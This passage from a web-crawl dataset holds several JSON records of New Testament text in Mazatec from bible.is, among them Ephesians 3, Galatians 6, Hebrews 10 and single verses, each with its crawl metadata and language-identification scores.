tsa̱jòn, 3 koni s'ín kisìhiseèn-na Nainá nga tsakón-na jè kjoa̱ xi tjí'ma-la̱ skanda kjòtseé. Jyeé ìsa̱ kiskiì chiba-nò jñà 'én koi. 4 K'e̱ nga tsà ndaà kíxke̱jñoò xo̱jo̱n jè koni s'ín kiskiì ítjòn-nò, ya̱á jcha̱a nga 'a̱n ndaà tíjiìn-na̱ jè kjoa̱ tjí'ma i̱t'aà ts'e̱ Cristo. 5 Nga ìsa̱ kjòtseé, ni̱ jngoò xi̱ta̱ tíjiìn-la̱ jè kjoa̱ tjí'ma; ta̱nga i̱'ndei̱ jè Ini̱ma̱ Tsjeè-la̱ Nainá kisìhiseèn-la̱ jñà xi̱ta̱ xi xó jahájin-ne Nainá, jñà xi̱ta̱ xi tsibíxáya-la̱ Cristo ko̱ xi kiìchja̱ ngajo-la̱. 6 Jè kjoa̱ tjí'ma, jè-né nga jñà xi mìtsà xi̱ta̱ Judío, k'e̱ nga mokjeiín-la̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo, ngásón tjoé-la̱ kjo̱tjò-la̱ Nainá nga ngásón i̱xti-la̱ ma koni jñà xi̱ta̱ Judío; jngoò na̱xa̱ndá ko̱ma yije kóho̱tjín; ko̱ jñà xi mì tsà xi̱ta̱ Judío ngásón tjoé-la̱ kjo̱ndaà koni s'ín kitsjaà-la̱ tso'ba Nainá jñà xi̱ta̱ judío. 7 Ta kjo̱ndaà-la̱ Nainá-né nga 'an kitjoé-na xá jè. Jè kitsjaà kjo̱tjò-na nga chi̱'nda-la̱ ma k'e̱ nga kitsjà-na nga'ñó-la̱ mé-ne nga 'an kèno̱jmiá 'e̱n ndaà-la̱ Cristo. 8 'An, na̱sín ìsa̱ 'ñó nangui tijna̱a-la̱ ngats'iì xi̱ta̱-la̱ Nainá, ta̱nga Nainá kitsjaà-na kjo̱ndaà jè, nga an chjàyajiìn-la̱ 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo jñà xi mìtsà xi̱ta̱ Judío, mé-nè nga skoe̱-ne kó kji 'ñó tse kjo̱ndaà tsjá Cristo skanda mì kiì bijchótji̱ngui-la̱ kjo̱hítsjen-ná. 9 Jè xá xi 'an kjònga̱tsja nga 'an sìhiseèn-la̱ jñà xi̱ta̱ mé-ne nga skoe̱-ne kó s'ín tjín kjoa̱ xi tjí'ma. Nainá xi tsibíndaà i̱sò'nde, jè tíjna'ma-la̱ kjoa̱ jè skanda ti̱sa̱ tàts'en-la̱ kjoa̱. 10 Koií k'oa̱s'ín komà-ne mé-ne skoe̱-ne i̱'ndei̱ ngats'iì ini̱ma̱ ch'o ko̱ ini̱ma̱ xi ndaà xi tjín-la̱ nga'ñó i̱jiìn i̱sén nga kjìn sko̱ya kjoa̱chji̱ne̱ tjín-la̱ Nainá. Ya̱á skoe̱ kjoa̱ koi i̱t'aà ts'e̱ na̱xa̱ndá-la̱ Cristo. 11 Nga ti̱sa̱ tàts'en-la̱ kjoa̱, Nainá k'oa̱á s'ín tjíndaà-la̱ nga i̱t'aà ts'e̱ Cristo ki̱tasòn yije kjoa̱ koi. 12 I̱'ndei̱, nga Cristo titsa̱jnakoa̱á, jyeé 'ñó takoán. Ko̱maá chi̱koa̱á Nainá ñánda tíjna nga mì ti̱ kiì xkón-oná nga jyeé mokjeiín-ná i̱t'aà ts'e̱ Cristo. 13 K'oa̱á s'ín siìjé-nò nga kì nìkjaàjen-là takòn jè kjo̱'in xi tísíkjiaàn nga an beèno̱jmí-nò 'én ndaà-la̱ Nainá xi kjoa̱ ts'e̱ Cristo. Ìsa̱á ndaà kàtatsja-la̱ ini̱ma̱-nò nga kjo̱ndaà tsa̱jòn-nò. 14 Koií kjoa̱-la̱ nga òsijna̱xkónchit'aà-la̱ nga bìtsi'bà-la̱ Nainá xi Na̱'èn-ná. 15 Nga i̱t'aà ts'e̱ Nainá nchrobá-ne nga tjín na̱'èn ko̱ tjín i̱xti nga jngoò ìjngoò ni'ya xi̱ta̱ xi tjín ngajmiì ko̱ xi tjín i̱sò'nde. 16 Nainá, nga tse nga'ñó tjín-la̱, k'oa̱á s'ín bìtsi'bà-la̱ nga kàtatsjá-nò nga'ñó-la̱ xi ts'e̱ ini̱ma̱-nò nga jè Ini̱ma̱ Tsjeè-la̱ Nainá kàtasíxájiìn ini̱ma̱-nò. 17 Jè Cristo, ndaà kàtijnajiìn ini̱ma̱-nò, nga mokjeiín-nò i̱t'aà ts'e̱; 'ñó ndaà kata'se-nò kjoa̱tjòchaà-la̱ Nainá koni jngo yá xi na̱nga̱ fì i̱ma̱-la̱ ko̱ koni jngoò ni'ya xi na̱nga̱ tjíhijiìn chrjó-la̱. 18 K'oa̱á s'ín ko̱ma-ne nga jñò ko̱ ngats'iì xi̱ta̱-la̱ Nainá, jcha̱xkoòn koa̱ ko̱chi̱ya-nò nga 'ñó tsee kjoa̱tjòcha xi tjín-la̱ Cristo, 'ñó tiyà, 'ñó ndojò, 'ñó na̱nga̱ ko̱ 'ñó 'nga. 19 Nguì ndaà jcha̱a jè kjoa̱tjòchaà xi tjín-la̱ Cristo xi ìsa̱ 'ñó otonè-la̱ ngats'iì kjo̱hítsjen-ná skanda mì kiì machi̱ya-ná, mé-ne nga nì mé chi̱jat'aà-nò koni jè Nainá, nì mé chi̱jat'aà-la̱. 20 Nainá, 'ñó tsee nga'ñó tjín-la̱, tsa k'e̱ nga mé xi nìjé-lá, skanda isa̱á 'ñó síkatonè-la̱ koni s'ín nìjé-lá ko̱ nga koni s'ín nìkítsjeén. K'oa̱á s'ín tsjá yije-ná nga ko̱ nga'ñó-la̱ xi síxájiìn ini̱ma̱-ná. 21 Jeya katìjna Nainá ya̱ i̱jiìn na̱xa̱ndá-la̱ ko̱ i̱t'aà ts'e̱ Cristo ni̱ta̱ mé na̱chrjein-ne, ni̱ta̱ mé nó-ne. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Eph\/3","date":"2013-05-20T08:58:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368698693943\/warc\/CC-MAIN-20130516100453-00055-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000078678131104}","num_words":557,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.321,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jñò 'ndí 'ntsè ko̱ 'ndí tìchjaá, tsà tjín i'nga xi̱ta̱ xi jé ótsji, jñò xi ndaà onguít'aà-là jè Ini̱ma̱ Tsjeè-la̱ Nainá, jñò ti̱si̱ko̱ò nga kàta kixi̱ya ìjngoò k'a-ne nga indaà kjoa̱ ti̱nókjoa̱-là. Ta̱nga jñò, t'e̱en kinda̱ yijo-nò, mé-ne nga mì jé ska̱jiìn-nò. 2 Ti̱siko̱o xinguio̱o k'e̱ nga tsa mé kjoa̱ xi 'in tjín títsa̱jnajiìn; k'oa̱á s'ín ko̱ma-ne nga si̱kitasòn jè kjo̱tíxoma xi kitsjaà Cristo. 3 Tsà tjín i'nga xi̱ta̱ xi ndaà ochrjengui yijo-la̱, koa̱ tsà mìtsà kixi̱-ne kjoa̱, jñà xi̱ta̱ koi, tà yijo-la̱á nchikona̱cha̱n-la̱. 4 Ìsa̱á ndaà-ne nga chít'aà yijo-nò nga jngoò ìjngoò-nò, a ndaà titsa̱'nè; tsa ndaà titsa̱'nè, ta ya̱ tijin takon, kì k'oa̱á s'ín nìkítsjeén nga jñò, isa̱ ndaà titsa̱'nè mì k'oa̱-ne koni jñà xi̱ta̱ xi kj'eií. 5 Nga jngoò ìjngoò, ya̱á kjinè-la̱ kós'ín tísíjchá yijo-la̱. 6 Jñà xi̱ta̱ xi nchikota'yà 'én ndaà-la̱ Nainá, mochjeén-né nga kàtatsjá-la̱ mé xi ko̱chjeén-la̱ maestro-la̱ nga 'én okóya. 7 Kì yijo-nò chona̱cha̱n-là; nga Nainá mì kiì ko̱ma si̱skákoa̱á. Nga ìjngoò ìjngoò xi̱ta̱, koni tjín kjoa̱ xi s'ín, k'oa̱á ti̱ tjín kjoa̱ xi sakò-la̱. 8 Nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn-la̱ yijo-la̱, kjoa̱biyaá tjoé-la̱ i̱t'aà ts'e̱ kjoa̱ ch'o xi síjé yijo-la̱, ta̱nga jè xi k'oa̱s'ín s'ín koni s'ín mejèn-la̱ Ini̱ma̱ Tsjeè-la̱ Nainá, i̱t'aà ts'e̱ Ini̱ma̱ Tsjeè-la̱ Nainá tjoé-la̱ kjoa̱bijnachoòn xi mì kiì fehit'aà ni̱ta̱kjé-né. 9 Mì kiì ndaà tjín tsà ko̱siì-ná nga ndaà s'e̱én; nga ki̱jchò na̱chrjein nga sa̱kò-ná kjo̱ndaà tsà mì kì si̱hinda-lá takoán. 10 Koi kjoa̱-la̱, k'e̱ ma xi 'né i̱tsé, ndaà si̱koa̱á ngats'iì xi̱ta̱, jñà titsa̱jna ítjòn jñà xi̱ta̱ xinguia̱á xi ngásòn mokjeiín-ná 'én-la̱ Nainá. 11 Chítsejèn-là tsí ki̱tsian-ne letra xi ntsa̱a tìkjiì-nò. 12 Jñà xi̱ta̱ xi mejèn-la̱ nga kjo̱'ñó s'ín-nò nga sit'aà chi̱ba̱-nò kjoa̱ ts'e̱ circuncisión, tà koií xi mejèn-la̱ nga ndaà síkítsa̱jna yijo-la̱ nga nguixko̱n xi̱ta̱; ko̱ majìn-la̱ nga xi̱ta̱ ki̱tji̱ngui kondra̱-la̱ tsa ko̱s'ín keèno̱jmíya nga ya̱ k'ent'aà krò Cristo. 13 Jñà xi̱ta̱ xi tjít'aà chi̱ba̱-la̱ kjoa̱ ts'e̱ circuncisión, ti̱koa̱á mì kiì síkitasòn kjo̱tíxoma, ta̱nga mejèn-la̱ nga sit'aà chi̱ba̱-nò mé-ne nga i̱t'aà tsa̱jòn ndaà si̱ìkítsa̱jna-ne yijo-la̱ k'e̱ nga skoe̱ nga jñò jye tjít'aà chi̱ba̱-nò. 14 Ta̱nga 'an, ni̱ mé kjoa̱ xi mejèn-na nga ndaà síkíjna yijo-na̱; ta jè ta̱jngoó krò-la̱ Na̱'èn-ná Jesucristo nga ndaà síkíjna yijo-na̱. K'oa̱á ma-ne nga jñà kjoa̱ ch'o xi tjín i̱sò'nde, i̱t'aà ts'a̱n, títsa̱jnak'en-né ko̱ 'an tijna̱k'eén-la̱ jè i̱sò'nde. Mì ti̱ k'oa̱á tjín kjoa̱ xi sisìn-na. 15 Xi i̱t'aà ts'e̱ Cristo, mì tsà jè xi chjí-la̱ tsà tjít'aà chi̱ba̱-ná ko̱ tsà tsjìn-ná chi̱ba̱ kjoa̱ ts'e̱ circuncisión; jè xi chjí-la̱ nga jè Nainá jyeè kisìkátjiya-ná ko̱ jye xi̱ta̱ xi̱tse̱ kjoán. 16 Kàtas'e-la̱ kjoa̱'nchán ko̱ kjoa̱ i̱ma̱ takòn ya̱ i̱jiìn ini̱ma̱-la̱ ngats'iì xi̱ta̱ xi k'oa̱s'ín nchisíkitjasòn koni tsò 'én jè; jñà-né xi xi̱ta̱-la̱ Nainá ts'e̱ na̱xa̱ndá Israel. 17 K'oa̱á ma-ne i̱'ndei̱, kì ti̱ yá xi kjoa̱ ótsji isa-na nga jyè tjít'aà chi̱ba̱-la̱ yijo-na̱ kjo̱'in xi kitsjaà-na̱ xi̱ta̱ xi kjoa̱ ts'e̱ Na̱'èn-ná Jesús. 18 Jñò 'ndí 'ntsè ko̱ 'ndí tìchjaá, jè kàtasijiìn ini̱ma̱-nò kjo̱ndaà-la̱ Jesucristo xi otíxoma-ná. K'oa̱s'ín kàtama.","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/6","date":"2013-05-19T00:02:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382989\/warc\/CC-MAIN-20130516092622-00079-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 1.0000087022781372}","num_words":467,"character_repetition_ratio":0.066,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.33,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Corintios 8:10\n10 Tsà tjín jngoò xi̱ta̱ xinguio̱o xi tsò nga tjín-la̱ kjo̱hítsjeèn nga ma chine ni̱ta̱ mé yijo-ne, ko̱ ya̱ fì kakjèn ya̱ i̱'nde ñánda yaxkón xkósòn; tsa koi na̱chrjein-la ya̱ skoe̱ jngo 'ntsé xi indaà jiìn tjín kjo̱hítsjeèn-la̱ nga ya̱ tíkjèn. Jè xi̱ta̱ 'ntsé, k'oa̱á ti̱ s'ín s'i̱in.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/1Cor\/8\/10","date":"2013-06-19T04:09:33Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707187122\/warc\/CC-MAIN-20130516122627-00086-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9997707009,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9997707009315491}","num_words":67,"character_repetition_ratio":0.02,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.224,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Gálatas 5:22\n22 Ta̱nga jñà kjo̱ndaà xi tsjá Ini̱ma̱ Tsjeè-la̱ Nainá, jñà-né nga tjòchaà s'e̱èn xinguia̱á, nga tsja s'e̱n kjit'aá, nga 'nchán si̱jchá yijo-ná, nga s'e̱-ná kjoa̱tsejta, nga tsjakjoa̱ s'e̱én, nga s'e̱én kjo̱ndaà xi ndaà tjín, nga kixi̱ tjín kjo̱hítsjen-ná,\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Gal\/5\/22","date":"2013-06-18T21:33:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368707188217\/warc\/CC-MAIN-20130516122628-00009-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9979971647,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9979971647262573}","num_words":57,"character_repetition_ratio":0.033,"word_repetition_ratio":0.0,"special_characters_ratio":0.237,"stopwords_ratio":0.228,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"2 Corintios 8:12\n12 K'e̱ nga jngoò xi̱ta̱ xi tíjnandaà nga ko̱ ini̱ma̱-la̱ mejèn-la̱ tsjá, k'oa̱á kji kàtatsjá koni kji ma xi s'ín, mìtsà tsato tínijé-la̱. Nainá mìtsà tsato síjé koni kji ma xi 'nè.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/8\/12","date":"2013-05-22T00:37:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368700958435\/warc\/CC-MAIN-20130516104238-00025-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9962984324,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9962984323501587}","num_words":51,"character_repetition_ratio":0.074,"word_repetition_ratio":0.0,"special_characters_ratio":0.249,"stopwords_ratio":0.196,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Romanos 11:2\n2 Nainá mì tsà tsachrjekàngui na̱xa̱ndá-la̱ nga jye tíjin-la̱ nga tisa̱ tats'e̱n-la̱ kjoa̱ nga i̱xti-la̱ ko̱ma; ¿A mì tíjiìn-nò koni tsò Xo̱jo̱n-la̱ Nainá i̱t'aà ts'e̱ Elías nga k'oa̱s'ín chja̱t'aà-la̱ Nainá xi kondra̱ ts'e̱ Israel? tsò:\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rom\/11\/2","date":"2013-05-24T07:40:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704288823\/warc\/CC-MAIN-20130516113808-00024-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9995698333,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.999569833278656}","num_words":54,"character_repetition_ratio":0.011,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Apocalipsis 1:7\n7 ¡Chítsejèn-là! Jè Cristo jye kjomé 'fiì nga tínchrobájiìn ifi. Ngats'iì xi̱ta̱, xko̱ón skoe̱-ne. Jñà xi̱ta̱ xi kisìk'en Cristo ti̱koa̱á skoe̱-ne. Ngats'iì xi̱ta̱ na̱xa̱ndá xi tjín i̱ i̱t'aà na̱ngui ski̱ndáyake-né nga 'on ko̱ma-la̱ i̱t'aà ts'e̱. Jon, k'oa̱ás'ín ko̱ma.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Rev\/1\/7","date":"2013-06-19T07:41:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368708144156\/warc\/CC-MAIN-20130516124224-00083-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9987663031,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.998766303062439}","num_words":57,"character_repetition_ratio":0.052,"word_repetition_ratio":0.0,"special_characters_ratio":0.232,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"San Mateo 24:1\n1 Jesús k'e̱ nga jye itjo-ne i̱ngo̱ ítjòn, jyeé tífì nga ijchò kinchat'aà chrañà-la̱ xi̱ta̱ xi kota'yàt'aà-la̱. I̱kjoàn tsakó-la̱ jè i̱ngo̱ ítjòn ko̱ ni'ya xi tjín-la̱.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Matt\/24\/1","date":"2013-05-24T07:14:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368704288823\/warc\/CC-MAIN-20130516113808-00033-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9951763153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9951763153076172}","num_words":46,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.241,"stopwords_ratio":0.174,"flagged_words_ratio":0.0,"lang_id_score":0.995,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Filipenses 3:12\n12 Mì tsa tsò-ne kjoa̱ nga jye kjòngásòn yije-na kjoa̱ koi. Kj'eè tsà nguiì xi̱ta̱ kixi̱ 'mì-na̱. Ta̱nga tífì tji̱nguiì-la̱ nga mejèn-na nga isa̱ ndaà skoe̱xkoan ska̱nda kó nga ki̱jchò tji̱ngui-la̱ mé kjoa̱-ne nga ijchò tji̱ngui-na̱ Cristo Jesús.\nGet the App!\nDownload the FREE Bible.is app for your iPhone, iPad, or Android device.View in the\nApp Store","id":"","dump":"CC-MAIN-2013-20","url":"http:\/\/www.bible.is\/MAASJV\/Phil\/3\/12","date":"2013-05-18T15:00:18Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-20\/segments\/1368696382450\/warc\/CC-MAIN-20130516092622-00087-ip-10-60-113-184.ec2.internal.warc.gz","language":"maa","language_score":0.9996113181,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"maa_Latn_score\": 0.9996113181114197}","num_words":57,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.222,"stopwords_ratio":0.175,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1 Jè kjo̱tíxoma-la̱ Nainá xi kitjoé-la̱ Moisés, mì tsà nguiì jñà kjo̱nda xi i̱skan j'iì; ta 'nguién-la̱ né xi tsakó. K'oa̱á ma-ne nga jngoó k'a mì kiì ko̱ma ngui tsje si̱ìkítsa̱jna xi̱ta̱ xi xki̱ nó síchrañat'aà-la̱ Nainá nga ti̱jñà ti̱jñà kjo̱tjò tsjá-ne. 2 Jè kjo̱tíxoma, tsà jngoò k'a kisìtsjeèya jé-la̱ xi̱ta̱, mì-la ti̱ kiì si̱ìkájno-ne tsà jé tjín-la̱; tikoa̱á mì-la ti̱ kiì jní-la̱ cho̱ tsjá kjo̱tjò-ne. 3 Ta̱nga jè jní-la̱ cho̱, xki̱ nó xki̱ nó síkítsjeèn-ya-la̱ jé-la̱ xi̱ta̱. 4 Nga jè jní-la̱ nchra̱ja̱ ko̱ jní-la̱ tíntsó mì kiì ma-la̱ faáxìn jñà jé-la̱ xi̱ta̱. 5 Cristo, k'e̱ nga j'iì i̱ i̱sò'nde kitsò-la̱ Nainá: Majìn-le jní-la̱ cho̱ xi biyaà, ko̱ kjo̱tjò xi tsját'aà-le xi̱ta̱, ta̱nga jè yijo-na̱ kinìkíjnandei. 6 Mì kiì sasén-le cho̱ xi kitì, ko̱ ni jñà kjo̱tjò xi tsjá-le xi̱ta̱ xi kjoa̱ ts'e̱ jé-la̱. 7 K'e̱é kichjà, kixan-le: \"Koni s'ín tíchja̱ xo̱jo̱n-le xi i̱t'aà ts'a̱n, 'i̱í tijna̱a nga sìkitasoàn koni s'ín mejèn-le, ji̱ xi Nainá 'mì-lè.\" 8 Cristo, ítjòn kitsò: \"Majìn-le ko̱ mì kiì sasén-le jní-la̱ cho̱ xi biya ko̱ kjo̱tjò xi tsjá-le xi̱ta̱, cho̱ xi kitì ko̱ kjo̱tjò xi tsjá xi kjoa̱ ts'e̱ jé-la̱,\" na̱s'ín k'oa̱s'ín tíchja̱ kjo̱tíxoma nga tjínè-la̱ nga koa̱tjín xi tsjá xi̱ta̱. 9 I̱kjoàn kitsò ìsa̱: \"I̱í tijna̱a nga sìkitasoàn koni s'ín mejèn-le.\" K'e̱ nga o̱'sín kiìchja̱, tsòyaá-ne nga jè Cristo jahaxìn jè kjoa̱ jchínga mé-ne nga kisìkíjna ngajo-ne xi kjoa̱ xi̱tse̱. 10 K'oa̱ás'ín komà nga kisìtsjeèya ini̱ma̱-ná Nainá i̱t'aà ts'e̱ Na'èn-ná Jesucristo k'e̱ nga ko̱s'ín kisìkitasòn koni s'ín mejèn-la̱ Nainá nga ta jngoò k'a kitsjaà kjo̱tjò yijo-la̱ ni̱ta̱ kjé-ne k'e̱ nga k'en. 11 Ngats'iì no̱'miì, na̱chrjein nchijòn síkitasòn xá-la̱ nga kjìn k'a tsját'aà-la̱ Nainá xi ti̱jñà ti̱jñà-ne kjo̱tjò xi mì kiì ma-la̱ faáxìn jé-la̱ xi̱ta̱. 12 Ta̱nga Jesucristo ta jngoò k'a kitsjàt'aà kjo̱tjò yijo-la̱ kjoa̱ ts'e̱ jé ni̱ta̱ kjé-ne, ikjoàn tsibìjnat'aà chrja kixi̱-la̱ Nainá. 13 Ya̱á tíkoña skanda k'e̱ nga kijchó na̱chrjein nga jñà xi̱ta̱ kondra̱-la̱ si̱ìchija nga jè Nainá si̱ìkítsa̱jnangui ntsa̱ko̱. 14 Ta jngoò k'aá kitsjaàt'aà kjo̱tjò yijo-la̱ mé-ne nga ngui ndaà kjòkixi̱ya-ne xi̱ta̱ ni̱ta̱ kjé-ne, jñà xi̱ta̱ xi tímatsje. 15 Jè Ini̱ma̱ Tsjeè-la̱ Nainá ndaà síkixi̱ya̱-ná kjoa̱ koi; nga sa̱ ítjòn tsò-né: 16 Jè kjoa̱ jè xi kindájiìn-koa̱ jñà xi̱ta̱ k'e̱ nga jye ko̱ma i̱skan, tsò Na̱'èn-ná: Jñà kjo̱tíxoma-na̱ sikíjnajñà ini̱ma̱-la̱, ko̱ ya̱á skia̱a i̱jiìn kjo̱hítsjeèn-la̱. 17 I̱kjoàn tsò isa: An, mì ti̱ kiì síkítsjeèn-na̱ jé xi tjín-la̱ ko̱ ngats'iì kjoa̱ ch'o xi s'ín. 18 K'e̱ nga jye jchahat'aà-ná jé-ná, mì ti̱ mé kjo̱tjò ko̱chjeèn-ne xi kjoa̱ ts'e̱ jé. 19 Jñò 'ndí 'ntsè, k'oa̱á ma-ni na̱chrjein i̱'ndei̱, tjí'nde-ná nga ki̱tjás'e̱én jè I̱'nde-la̱ Nainá xi 'Ñó Tsjeè, koií kjoa̱-la̱ jè jní xi tsibíxteèn Jesús. 20 Nga jè kiskíxa̱ jngoò-ná ndi̱yá xi̱tse̱ xi fìko̱-ná ñánda tjín kjoa̱bijnachon, nga ko̱ma ko̱tokjá jè nikje cortina xi tjo'báya jngoò osen I̱'nde Tsjeè-la̱ Nainá. Jè nikje, k'oa̱á ngaya-la̱ koni yijo-la̱ Jesús. 21 Nga̱ tjín jngoò-ná no̱'miì xi 'ñó jeya tíjna xi otíxoma ya̱ ni'ya-la̱ Nainá. 22 K'oa̱á ma-ne nga mochjeén-né nga ìsa̱ ndaà ki̱nchat'aà chrañá-lá Nainá, nga ngui kixi̱ sikíjna ini̱ma̱-ná ko̱ nguì tíjngo takoàn xi i̱t'aà ts'e̱, nga jè Cristo jye kisìtsjeè ini̱ma̱-ná kjoa̱ ts'e̱ jé, ko̱ jè yijo-ná, k'oa̱á ngaya-la̱ koni tsà ngui nandá tsjeè tsaníjno-ne. 23 Kixi̱ kitsa̱jnakoa̱á kjoa̱ xi titsachiñá-lá koni s'ín mokjeiín-ná nga mì kjìjen kjìkjá-lá takoán; nga Nainá, xi̱ta̱ kixi̱-né, si̱ìkitasòn-né koni s'ín jye kitsjaà 'én-la̱. 24 Kinchátsji'nde-lá nga 'én ndaà ki̱nókjoa-lá xinguia̱á mé-ne nga ìsa̱ ndaà s'e̱-ná kjo̱tsjacha; s'e̱én kjoa̱ xi ndaà tjín. 25 Mì kiì si̱jchayaá jè na̱chrjein k'e̱ nga bixoñaá, koni s'ín i'nga xi̱ta̱ nga mì ti̱ kiì bixoñat'aà-la̱ xíkjín. Ta saà mochjeèn-né nga k'oi-lá nga'ñó xinguia̱á nga jngoò ijngoò; isa̱á 'ñó ko̱s'iaán k'e̱ nga ya̱á nga jye tínchrobá machraña na̱chrjein-la̱ Nainá. 26 Tsà k'oa̱ás'ín tjín takoàn nga ki̱nchátsji jé ìsa̱á k'e̱ nga jye kiyaxkoaán kjoa̱ kixi̱-la̱ Nainá, mì ti̱ mé jní ko̱ma xíxten-ni xi ma kjoa̱áxìn jé-ná. 27 Tà jè ko̱ko̱o ìsa̱-ná kjo̱'in xi 'ñó xkón tjín ko̱ ni'ín jnga̱ xi síkjehesòn yije xi̱ta̱ xi kondra̱ fì-la̱ Nainá. 28 K'e̱ nga tsà jngoò xi̱ta̱ xi mì kiì síkitasòn kjo̱tíxoma-la̱ Nainá xi kitjoé-la̱ Moisés, tsà tjín jò, jàn xi̱ta̱ xi tsjá 'én nga kixi̱ kjoa̱, mì kiì mahi̱ma̱cha, nik'en-né. 29 ¿Kós'ín beè-la tákòn jñò, a mì tsà isa̱ tse kjo̱'in o'kín-la̱ jñà xi̱ta̱ xi binchanè jè Ki'ndí-la̱ Nainá, ko̱ ochrjekàngui jè jní xi tsibíxteèn, ko̱ ti̱koa̱ chja̱jno-la̱ Ini̱ma̱ Tsjeè-la̱ Nainá xi tjín-la̱ kjo̱ndaà. Jè jní xi ochrekàngui, jè-né xi Nainá kisìkjeén nga tsibíndaàjiìn ko̱ xi̱ta̱ jngoò kjoa̱ xi̱tse̱, ko̱ jè xi kisìtsjeè-ne ini̱ma̱-la̱ xi̱ta̱ koi. 30 Jye tíjiìn-ná nga k'oa̱á tsò Nainá: \"'Aán oko̱-na nga tsjaà-la̱ kjo̱'in xi̱ta̱, 'aán tsjaà-la̱ chjí-la̱.\" Ijngoò k'a tsò: \"Jè Na̱'èn-ná ki̱ìndaàjiìn-la̱ xi̱ta̱ na̱xa̱ndá-la̱.\" 31 ¡Taxki̱ 'ñó tse kjo̱xkón tjín k'e̱ nga ya̱ kàyaá tsja Nainá xi tíjnakon! 32 Ta̱nga ti̱kítsjeèn kós'ín komàtioòn na̱chrjein xi jye tsato, k'e̱ nga sa̱ kina'yà ítjòn 'én kixi̱ xi kisìhisen-nò, nga kichíkjoa̱-nò nga tse kjo̱'in kinìkjioòn. 33 Kis'eé na̱chrjein k'e̱ nga 